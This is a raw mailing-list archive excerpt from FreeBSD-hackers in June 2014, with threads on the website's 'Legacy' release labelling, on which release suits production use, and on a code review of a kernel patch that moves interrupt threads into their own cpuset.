2P/FFQrpIsk7Xf4ZKkiPa1jZuUNz9Fs7MtanWl0ROPFz2oZCHUHjp42leR8mUveZv8HA RKS4GXZUNffE9fw9H0sRce+ynDhirQwA3OJg0IgB+KISjkKWMcAzxZmdYNqux/SBz9MR NEdzudj69Gdq5erolIIH+rAnSLigcb631ELxmfY+L4lbi/XSwEU3cc0SAStBh9saP9cQ kHNpWkAuLmmrRwj+mlZNSnmg/CFGvyOkUfBdPhBmri1rQeMCuGNJXEFLmZBoc5Z9YOcN WJ+Q== X-Gm-Message-State: ALoCoQk1Kpd5Q4FYKwFjhDkKz3OtPb7fZU/glc1lXffEdvZHoiA134LSEcKoReqCPf2X4aW24sG0 X-Received: by 10.140.47.18 with SMTP id l18mr74576958qga.9.1401927094507; Wed, 04 Jun 2014 17:11:34 -0700 (PDT) MIME-Version: 1.0 Received: by 10.96.222.131 with HTTP; Wed, 4 Jun 2014 17:11:03 -0700 (PDT) In-Reply-To: <538F818B.8060408@freebsd.org> References: <332D72DF-2225-40E2-B246-0786181AAB51@tony.li> <538F5FB5.9060008@FreeBSD.org> <662C363E-A16E-48B2-9FBF-D2D4AB81733C@dataix.net> <538F70A8.4060904@FreeBSD.org> <538F747C.7010901@vangyzen.net> <538F818B.8060408@freebsd.org> From: Eitan Adler Date: Wed, 4 Jun 2014 17:11:03 -0700 Message-ID: Subject: Re: "Legacy" Release Terminology [was: There is currently no usable release of FreeBSD.] To: Allan Jude Content-Type: text/plain; charset=UTF-8 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Jun 2014 00:11:36 -0000 On 4 June 2014 13:28, Allan Jude wrote: > On 2014-06-04 15:33, Eric van Gyzen wrote: >> On 06/04/2014 14:16, Jonathan Anderson wrote: >>> Jason Hellenthal wrote: >>>> Legacy . . . >>>> /adjective/ >>>> COMPUTING >>>> ** >>>> >>>> 1. >>>> *1*. >>>> denoting software or hardware that has been superseded but is >>>> difficult to replace because of its wide use. >>>> >>>> >>>> What about that says unsupported ? >>> >>> >>> Sure, you're right about the dictionary definition, but in some usage >>> (including among certain folks who build, package and use a popular >>> open-source alternative to FreeBSD), people treat the word "legacy" as >>> synonymous with "obsolete". Perhaps they shouldn't, but many do, and >>> the original poster is trying to justify to the compliance-happy parts >>> of an organisation why it's ok to base a company's future on something >>> labelled as ${perceived-to-be-negative adjective}. >>> >>> So, rather than use words that are unclear (people in this >>> conversation seem to have different perspectives on them), I suggest >>> that we use unambiguous language: "branch X will be supported until >>> x/y/zz". >> >> I have long thought that "Legacy", as used on the front page of >> www.freebsd.org, was misleading. Please, let's change it. Let's call >> 8.4, 9.2, and 10.0 all "Production", because that is what they are. The >> numbers imply most of the relevant distinctions (features, maturity, >> longevity, etc.). >> >> Independently, specifying branch support dates would also be helpful, >> but let's at least improve the "legacy" terminology. >> >> Eric >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" >> > > I have made a diff for the proposed change to the front page: > > https://phabric.freebsd.org/D175 These aren't (yet) available to the public. Maybe you should copy the diff to the list? -- Eitan Adler From owner-freebsd-hackers@FreeBSD.ORG Thu Jun 5 00:31:33 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 58AFB6E2; Thu, 5 Jun 2014 00:31:33 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id D28F625A3; Thu, 5 Jun 2014 00:31:32 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.9/8.14.9) with ESMTP id s550VM5P051495; Thu, 5 Jun 2014 03:31:22 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s550VM5P051495 Received: (from kostik@localhost) by tom.home (8.14.9/8.14.8/Submit) id s550VMXX051494; Thu, 5 Jun 2014 03:31:22 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Thu, 5 Jun 2014 03:31:22 +0300 From: Konstantin Belousov To: "Alexander V. Chernikov" Subject: Re: Permit init(8) use its own cpuset group. Message-ID: <20140605003122.GF3991@kib.kiev.ua> References: <538C8F9A.4020301@FreeBSD.org> <20140602164850.GS3991@kib.kiev.ua> <201406041106.11659.jhb@freebsd.org> <538F70AB.5030701@FreeBSD.org> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="0h4+rw7qdMK7T5x1" Content-Disposition: inline In-Reply-To: <538F70AB.5030701@FreeBSD.org> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org, hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Jun 2014 00:31:33 -0000 --0h4+rw7qdMK7T5x1 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Jun 04, 2014 at 11:16:59PM +0400, Alexander V. Chernikov wrote: > On 04.06.2014 19:06, John Baldwin wrote: > > On Monday, June 02, 2014 12:48:50 pm Konstantin Belousov wrote: > >> On Mon, Jun 02, 2014 at 06:52:10PM +0400, Alexander V. Chernikov wrote: > >>> Hello list! > >>> > >>> Currently init(8) uses group 1 which is root group. > >>> Modifications of this group affects both kernel and userland threads. > >>> Additionally, such modifications are impossible, for example, in pres= ence > >>> of multi-queue NIC drivers (like igb or ixgbe) which binds their thre= ads > > to > >>> particular cpus. > >>> > >>> Proposed change ("init_cpuset" loader tunable) permits changing cpu > >>> masks for > >>> userland more easily. Restricting user processes to migrate to/from C= PU > >>> cores > >>> used for network traffic processing is one of the cases. > >>> > >>> Phabricator: https://phabric.freebsd.org/D141 (the same version attac= hed > >>> inline) > >>> > >>> If there are no objections, I'll commit this next week. > >> Why is the tunable needed ? > > Because some people already depend on doing 'cpuset -l 0 -s 1'. It is = also > > documented in our manpages that processes start in cpuset 1 by default = so > > that you can use 'cpuset -l 0 -s 1' to move all processes, etc. > > > > For the stated problem (bound ithreads in drivers), I would actually li= ke to > > fix ithreads that are bound to a specific CPU to create a different cpu= set > > instead so they don't conflict with set 1. > Yes, this seem to be much better approach. > Please take a look on the new patch (here or in the phabricator). > Comments: >=20 > Use different approach for modifyable root set: >=20 > * Make sets in 0..15 internal > * Define CPUSET_SET1 & CPUSET_ITHREAD in that range > * Add cpuset_lookup_builtin() to retrieve such cpu sets by id > * Create additional root set for ithreads > * Use this set in ithread_create() > * Change intr_setaffinity() to use cpuset_iroot (do we really need this= )? >=20 > We can probably do the same for kprocs, but I'm unsure if we really need = it. I think this is fine. See below for the style comments. With the proliferation of the special cpuset ids, it is probably time to add an assert to cpuset_rel() and cpuset_rel_defer() that it never=20 try to free the preallocated set. Since you use static pre-known set id for ithreads, it should be documented along with the set 1 in the man page ? >=20 >=20 > > >=20 > Index: sys/kern/kern_cpuset.c > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > --- sys/kern/kern_cpuset.c > +++ sys/kern/kern_cpuset.c > @@ -112,7 +112,7 @@ > SYSCTL_INT(_kern_sched, OID_AUTO, cpusetsize, CTLFLAG_RD, > 0, sizeof(cpuset_t), "sizeof(cpuset_t)"); > =20 > -cpuset_t *cpuset_root; > +cpuset_t *cpuset_root, *cpuset_iroot; > =20 > /* > * Acquire a reference to a cpuset, all pointers must be tracked with re= fs. > @@ -213,7 +213,7 @@ > * Find a set based on an id. Returns it with a ref. > */ > static struct cpuset * > -cpuset_lookup(cpusetid_t setid, struct thread *td) > +cpuset_lookup_id(cpusetid_t setid) > { > struct cpuset *set; > =20 > @@ -227,6 +227,17 @@ > cpuset_ref(set); > mtx_unlock_spin(&cpuset_lock); > =20 > + return (set); > +} > + > +static struct cpuset * > +cpuset_lookup(cpusetid_t setid, struct thread *td) > +{ > + struct cpuset *set; > + > + set =3D cpuset_lookup_id(setid); > + > + Too many emtpy lines. The statement above should probably go after the KASSERT() line below. > KASSERT(td !=3D NULL, ("[%s:%d] td is NULL", __func__, __LINE__)); > if (set !=3D NULL && jailed(td->td_ucred)) { > struct cpuset *jset, *tset; > @@ -245,6 +256,25 @@ > } > =20 > /* > + * Find a set based on an id. Returns it with a ref. > + */ > +struct cpuset * > +cpuset_lookup_builtin(cpusetid_t setid) > +{ > + struct cpuset *set; > + > + KASSERT(setid <=3D CPUSET_RESERVED_MAX, > + ("[%s:%d] wrong set id: %d", __func__, __LINE__, setid)); > + > + set =3D cpuset_lookup_id(setid); > + > + KASSERT(set !=3D NULL, > + ("[%s:%d] set id %d not found", __func__, __LINE__, setid)); > + > + return (set); Again the empty lines are not needed. > +} > + > +/* > * Create a set in the space provided in 'set' with the provided paramet= ers. > * The set is returned with a single ref. May return EDEADLK if the set > * will have no valid cpu based on restrictions from the parent. > @@ -725,9 +755,10 @@ > * 1 - The default set which all processes are a member of until changed. > * This allows an administrator to move all threads off of given cpu= s to > * dedicate them to high priority tasks or save power etc. > + * 2 - The root set which should be used for all interruot/ithreads. Typo in the 'interrupt'. > */ > -struct cpuset * > -cpuset_thread0(void) > +static void > +cpuset_init_sets(void) > { > struct cpuset *set; > int error; > @@ -751,14 +782,31 @@ > * Now derive a default, modifiable set from that to give out. > */ > set =3D uma_zalloc(cpuset_zone, M_WAITOK); > - error =3D _cpuset_create(set, cpuset_zero, &cpuset_zero->cs_mask, 1); > + error =3D _cpuset_create(set, cpuset_zero, &cpuset_zero->cs_mask, > + CPUSET_SET1); > KASSERT(error =3D=3D 0, ("Error creating default set: %d\n", error)); > /* > - * Initialize the unit allocator. 0 and 1 are allocated above. > + * Create another root set for interrupt bindings. > */ > - cpuset_unr =3D new_unrhdr(2, INT_MAX, NULL); > + set =3D uma_zalloc(cpuset_zone, M_WAITOK); > + error =3D _cpuset_create(set, cpuset_zero, &cpuset_zero->cs_mask, > + CPUSET_ITHREAD); > + KASSERT(error =3D=3D 0, ("Error creating ithread cpuset: %d\n", error)); > + set->cs_flags |=3D CPU_SET_ROOT; > + cpuset_iroot =3D &set->cs_mask; > + /* > + * Initialize the unit allocator. Reserve 0..15 for special sets. > + */ > + cpuset_unr =3D new_unrhdr(CPUSET_RESERVED_MAX + 1, INT_MAX, NULL); Style requests that multi-line block comments have empty line before. Spelling CPUSET_RESERVED_MAX as 15 in the comment looks strange. > +} > =20 > - return (set); > +struct cpuset * > +cpuset_thread0(void) > +{ > + > + cpuset_init_sets(); > + Empty line. > + return (cpuset_lookup_builtin(CPUSET_SET1)); > } > =20 > /* > Index: sys/kern/kern_intr.c > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > --- sys/kern/kern_intr.c > +++ sys/kern/kern_intr.c > @@ -318,7 +318,7 @@ > if (ie->ie_thread !=3D NULL) { > CPU_ZERO(&mask); > if (cpu =3D=3D NOCPU) > - CPU_COPY(cpuset_root, &mask); > + CPU_COPY(cpuset_iroot, &mask); > else > CPU_SET(cpu, &mask); > id =3D ie->ie_thread->it_thread->td_tid; > @@ -334,7 +334,7 @@ > if (ie->ie_thread !=3D NULL) { > CPU_ZERO(&mask); > if (ie->ie_cpu =3D=3D NOCPU) > - CPU_COPY(cpuset_root, &mask); > + CPU_COPY(cpuset_iroot, &mask); > else > CPU_SET(ie->ie_cpu, &mask); > id =3D ie->ie_thread->it_thread->td_tid; > @@ -381,7 +381,7 @@ > * If we're setting all cpus we can unbind. Otherwise make sure > * only one cpu is in the set. > */ > - if (CPU_CMP(cpuset_root, mask)) { > + if (CPU_CMP(cpuset_iroot, mask)) { > for (n =3D 0; n < CPU_SETSIZE; n++) { > if (!CPU_ISSET(n, mask)) > continue; > @@ -409,7 +409,7 @@ > CPU_ZERO(mask); > mtx_lock(&ie->ie_lock); > if (ie->ie_cpu =3D=3D NOCPU) > - CPU_COPY(cpuset_root, mask); > + CPU_COPY(cpuset_iroot, mask); > else > CPU_SET(ie->ie_cpu, mask); > mtx_unlock(&ie->ie_lock); > @@ -461,6 +461,7 @@ > TD_SET_IWAIT(td); > thread_unlock(td); > td->td_pflags |=3D TDP_ITHREAD; > + td->td_cpuset =3D cpuset_lookup_builtin(CPUSET_ITHREAD); > ithd->it_thread =3D td; > CTR2(KTR_INTR, "%s: created %s", __func__, name); > return (ithd); > @@ -485,6 +486,7 @@ > TD_SET_IWAIT(td); > thread_unlock(td); > td->td_pflags |=3D TDP_ITHREAD; > + td->td_cpuset =3D cpuset_lookup_builtin(CPUSET_ITHREAD); > ithd->it_thread =3D td; > CTR2(KTR_INTR, "%s: created %s", __func__, name); > return (ithd); > Index: sys/sys/cpuset.h > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > --- sys/sys/cpuset.h > +++ sys/sys/cpuset.h > @@ -81,6 +81,10 @@ > */ > #define CPUSET_INVALID -1 > #define CPUSET_DEFAULT 0 > +#define CPUSET_SET1 1 > +#define CPUSET_ITHREAD 2 > + > +#define CPUSET_RESERVED_MAX 15 > =20 > #ifdef _KERNEL > LIST_HEAD(setlist, cpuset); > @@ -110,11 +114,12 @@ > #define CPU_SET_ROOT 0x0001 /* Set is a root set. */ > #define CPU_SET_RDONLY 0x0002 /* No modification allowed. */ > =20 > -extern cpuset_t *cpuset_root; > +extern cpuset_t *cpuset_root, *cpuset_iroot; > struct prison; > struct proc; > =20 > struct cpuset *cpuset_thread0(void); > +struct cpuset *cpuset_lookup_builtin(cpusetid_t setid); > struct cpuset *cpuset_ref(struct cpuset *); > void cpuset_rel(struct cpuset *); > int cpuset_setthread(lwpid_t id, cpuset_t *); --0h4+rw7qdMK7T5x1 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQIcBAEBAgAGBQJTj7pZAAoJEJDCuSvBvK1BuRAP/RLySYCcEj1/8IlCnZV0wscv T+d8qXmRMGeaSgijhCUqxYIvO4uKjguGgGg9PJyYSqKAdjg+HhWR+EYENrJ5xzD1 VWP4UM5f98icqwKO3DlACLAYiKhHVI8Wn8fxHrdPWWJmM+3ORaeHuUgqEwqNlD0i snFxOXPrJeVESV8bKQYJpKkeMv8ows4wH2KAHHN4sOo+Ue52JoTctZUbeL2ilrMq 6+t3lxckG8/QN/B7iDjON/jQwVHb51zYVVcAn1ZSyO9KWQvztI1aURiSw5LUwcKR ySPRf9+RtvWR0dB4N/cjR1n/XVPIg31A21t8ikCBNDsqXYesAe20KlfIRqd8Ryhk qEyoFaQD3uB1SyLliUo+LS1v0YAXDvqo/uOnxZkIyUexJAYYzTCFmq24YNiV8NIH k0UFsUNTyVvw7P/BrDimDrUwaHDeiWgNOZmllB1VDtuxkO+tWnioOjwCIBDVamWu yZICzU7gxzi6Hqe/CQvswHKuE0p454fy4SD3gQAXWuN4nzY8B61l7n8P9VkzUddI p0hFiNq5it7KrjrCx+LajpcMOl9aAqamFv1SWYC4iXmf5I2D0qnOgWtmZoVyi8LL oFqPRvaXOXw7TGPYpCqLg9xmrwtEXcS3gMPDVRJ0IXyAcf7tzJm07NbwRBNonvb7 XkDskKPwvpkgG8MEDDd1 =QChH -----END PGP SIGNATURE----- --0h4+rw7qdMK7T5x1-- From owner-freebsd-hackers@FreeBSD.ORG Thu Jun 5 01:43:27 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1F7EA76B for ; Thu, 5 Jun 2014 01:43:27 +0000 (UTC) Received: from mx1.scaleengine.net (beauharnois2.bhs1.scaleengine.net [142.4.218.15]) by mx1.freebsd.org (Postfix) with ESMTP id EB2AB2C5B for ; Thu, 5 Jun 2014 01:43:26 +0000 (UTC) Received: from [10.1.1.1] (S01060001abad1dea.hm.shawcable.net [50.70.146.73]) (Authenticated sender: allanjude.freebsd@scaleengine.com) by mx1.scaleengine.net (Postfix) with ESMTPSA id 3CC8A7D12F for ; Thu, 5 Jun 2014 01:43:17 +0000 (UTC) Message-ID: <538FCB36.60202@freebsd.org> Date: Wed, 04 Jun 2014 21:43:18 -0400 From: Allan Jude User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: There is currently no usable release of FreeBSD. References: <18771.1401901640@critter.freebsd.dk> <19839.1401922026@critter.freebsd.dk> In-Reply-To: X-Enigmail-Version: 1.6 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="i6andLej7kmGet0XUNfK5rbRUoSmVKMB4" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Jun 2014 01:43:27 -0000 This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --i6andLej7kmGet0XUNfK5rbRUoSmVKMB4 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On 2014-06-04 19:32, John Kozubik wrote: > I agree that the releases do not last long enough to settle on and grow= > into. >=20 > That is why we *need* a release to go into double-digit minors, like 4 > did when it went to 4.11. >=20 > I don't even care which one! Any of them! Just give us a release that= > we can grow into and not find ourselves at "legacy" two years later, at= > 9.2. >=20 > Which, by the way, is actually a step backwards. I was appalled to fin= d > that 8 was marked legacy at 8.3, but now 9 is marked legacy at 9.2. > Which means if there is some bug in 'em' or 'twa' and it gets fixed in > 10, you'll never see it backported to 9. Be honest. > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.o= rg" The word 'legacy' was misused on the website. This will be corrected. Each branch lasts ~5 years. See this graph (page 9): https://wiki.freebsd.org/201405DevSummit?action=3DAttachFile&do=3Dview&ta= rget=3DFreeBSD+11.pdf --=20 Allan Jude --i6andLej7kmGet0XUNfK5rbRUoSmVKMB4 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.16 (MingW32) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQIcBAEBAgAGBQJTj8s5AAoJEJrBFpNRJZKf8aEQAIXez4xOqZwuXIA5YmxW/l7n je4rXWpMDHnU7OJd83M+W52ZjtE9L0Ozl+J4HPN2kYWlDAAz8TRIVk7/r57hgzuI 0jrNNPBF/nCyklEgSUQ3DMsl26QpHwMCV4MpdC3XRTjkRixQygt9tRgbQ309w8vI OtiA/M30SXrc1LEFMV3SpOF68KrNRJn/1tAPSLy9O2z0GwEUrmnHweUFGmCYI2QN yrHnSyogo18YfXxZxcg+i/WW5UbKyCTWAI2cLzz9EvZ+t/lG9Tl/7l4EG9MrPDXB ou7sZhy8PiasqRvFXkfSXyva/MiPd0k0BmOZJbgEpz4oyjUbKKFfqOXnPGFxSH1S ZxurKqOSAhdTWAcz1Gk22/sJZV0qIkXuTz//WrpWa7tW8sZpbkRGBeDNaAwFQI46 ACFTIC1hPc0u3ddM5FqC6GpqxTr4On0AACEeiftyfi093yRoQPDx59sV3wVhQ/WS A3ykKW/U8B4MPC6sOmo33FGrOekDMGeP1/12tHG4l1hb7p67q18biiWi1POjPyZl xO5qzmb0+gDcdhAFZJxJmTbe/Y6KU7r6uQ1jGj6Oidx63obpkFg9tUaAooxtpP/l ZXuYb5VWZ/RxrDrzimEEa0MxUNK3kBwyVGfEpRhAbCeDdn2Wpkg0Db89dWF2FlNx m5SJrCTJH10w3PEBIn8S =LOPO -----END PGP SIGNATURE----- --i6andLej7kmGet0XUNfK5rbRUoSmVKMB4-- From owner-freebsd-hackers@FreeBSD.ORG Thu Jun 5 06:14:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6B98B6FD for ; Thu, 5 Jun 2014 06:14:34 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "vps1.elischer.org", Issuer "CA Cert Signing Authority" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 37ACF2288 for ; Thu, 5 Jun 2014 06:14:33 +0000 (UTC) Received: from Julian-MBP3.local (etroy.elischer.org [121.45.232.70]) (authenticated bits=0) by vps1.elischer.org (8.14.8/8.14.8) with ESMTP id s556ETbQ093325 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Wed, 4 Jun 2014 23:14:32 -0700 (PDT) (envelope-from julian@freebsd.org) Message-ID: <53900ABF.6000508@freebsd.org> Date: Thu, 05 Jun 2014 14:14:23 +0800 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: There is currently no usable release of FreeBSD. References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Jun 2014 06:14:34 -0000 On 6/5/14, 12:52 AM, John Kozubik wrote: > > freebsd.org website shows the following: > > Production: 10.0 > Legacy: 9.2, 8.4 > Upcoming: 9.3 right now the best release to use in production is probably 9.2. if you are like me you would have the following: production on 9.1 or 9.2 having upgraded from 8.3 or similar about a year ago some early test systems on 10-stable getting ready for 10.1 one system on -head "just because.." > > You can't put an x.0 release into production (a bigotry that is > *well deserved* in light of 5.0 and 9.0) ... and 9.2 and 8.4 are > legacy ... and we all know that 9.3 is as far as the 9 branch is > going to go, so that's a dead end for any serious deployment. I believe you put too much emphasis on moving up a branch. .. Though I will admit the gcc -> clang change between 9.x and 10 is a bit of a worry commercially, which is why *WE* will move from [what we run now] to 10.0++ but with clang disabled and still using gcc, with a planned "minor" upgrade to 10.0++ compiled with clang about 6-9 months later. My experience upgrading customers like Bank Of America (at a previous job) showed that FreeBSD's inter-branch upgrades were usually a whole lot less trauma than upgrading a release of Windows. I also believe that FreeBSD's .0 branches are not as bad as you make out. I've used them many times. > > Let's pretend for a moment that you are going to use FreeBSD for > something other than FreeBSD development. Let's pretend that you > have customers and shareholders and boardmembers and contracts and > regulators. > > Which version of FreeBSD would you use ? as explained above.. if we were doing an upgrade now, we'd be planning for 10.1 in a few months time, but if we'd done it 6 months ago we'd have gone to 9.2 and be planning an upgrade to 10.1 in another 6-12 months. In the jobs I've had we rarely actually used the "RELEASE" exactly, but our own build of it. there is nearly always something you want to change. So we tended to build from a snapshot of one of the branches, taken at release time.. so you can roll forwards with source control to reroll your build , but with the security fixes.. Usually we have one or two (or more) of our own changes to apply in the build process. (bug fixes or our own driver .. whatever). on SVN or Perforce we have our own branch which mirrors the FreeBSD one (but has our own additions) in CVS we used to just keep extra patch files we'd apply after checkout. It really depends on what you are DOING with the systems you deploy. > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to > "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Thu Jun 5 09:15:31 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CD77517A; Thu, 5 Jun 2014 09:15:31 +0000 (UTC) Received: from mail.ipfw.ru (mail.ipfw.ru [IPv6:2a01:4f8:120:6141::2]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 4F7422227; Thu, 5 Jun 2014 09:15:31 +0000 (UTC) Received: from [2a02:6b8:0:401:222:4dff:fe50:cd2f] (helo=ptichko.yndx.net) by mail.ipfw.ru with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.76 (FreeBSD)) (envelope-from ) id 1WsPqo-0007dD-QB; Thu, 05 Jun 2014 09:04:30 +0400 Message-ID: <539034CD.6080002@FreeBSD.org> Date: Thu, 05 Jun 2014 13:13:49 +0400 From: "Alexander V. Chernikov" User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Konstantin Belousov Subject: Re: Permit init(8) use its own cpuset group. References: <538C8F9A.4020301@FreeBSD.org> <20140602164850.GS3991@kib.kiev.ua> <201406041106.11659.jhb@freebsd.org> <538F70AB.5030701@FreeBSD.org> <20140605003122.GF3991@kib.kiev.ua> In-Reply-To: <20140605003122.GF3991@kib.kiev.ua> Content-Type: multipart/mixed; boundary="------------090403010601010707050801" Cc: freebsd-hackers@freebsd.org, hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Jun 2014 09:15:31 -0000 This is a multi-part message in MIME format. --------------090403010601010707050801 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 05.06.2014 04:31, Konstantin Belousov wrote: > On Wed, Jun 04, 2014 at 11:16:59PM +0400, Alexander V. Chernikov wrote: >> On 04.06.2014 19:06, John Baldwin wrote: >>> On Monday, June 02, 2014 12:48:50 pm Konstantin Belousov wrote: >>>> On Mon, Jun 02, 2014 at 06:52:10PM +0400, Alexander V. Chernikov wrote: >>>>> Hello list! >>>>> >>>>> Currently init(8) uses group 1 which is root group. >>>>> Modifications of this group affects both kernel and userland threads. >>>>> Additionally, such modifications are impossible, for example, in presence >>>>> of multi-queue NIC drivers (like igb or ixgbe) which binds their threads >>> to >>>>> particular cpus. >>>>> >>>>> Proposed change ("init_cpuset" loader tunable) permits changing cpu >>>>> masks for >>>>> userland more easily. Restricting user processes to migrate to/from CPU >>>>> cores >>>>> used for network traffic processing is one of the cases. >>>>> >>>>> Phabricator: https://phabric.freebsd.org/D141 (the same version attached >>>>> inline) >>>>> >>>>> If there are no objections, I'll commit this next week. >>>> Why is the tunable needed ? >>> Because some people already depend on doing 'cpuset -l 0 -s 1'. It is also >>> documented in our manpages that processes start in cpuset 1 by default so >>> that you can use 'cpuset -l 0 -s 1' to move all processes, etc. >>> >>> For the stated problem (bound ithreads in drivers), I would actually like to >>> fix ithreads that are bound to a specific CPU to create a different cpuset >>> instead so they don't conflict with set 1. >> Yes, this seem to be much better approach. >> Please take a look on the new patch (here or in the phabricator). >> Comments: >> >> Use different approach for modifyable root set: >> >> * Make sets in 0..15 internal >> * Define CPUSET_SET1 & CPUSET_ITHREAD in that range >> * Add cpuset_lookup_builtin() to retrieve such cpu sets by id >> * Create additional root set for ithreads >> * Use this set in ithread_create() >> * Change intr_setaffinity() to use cpuset_iroot (do we really need this)? >> >> We can 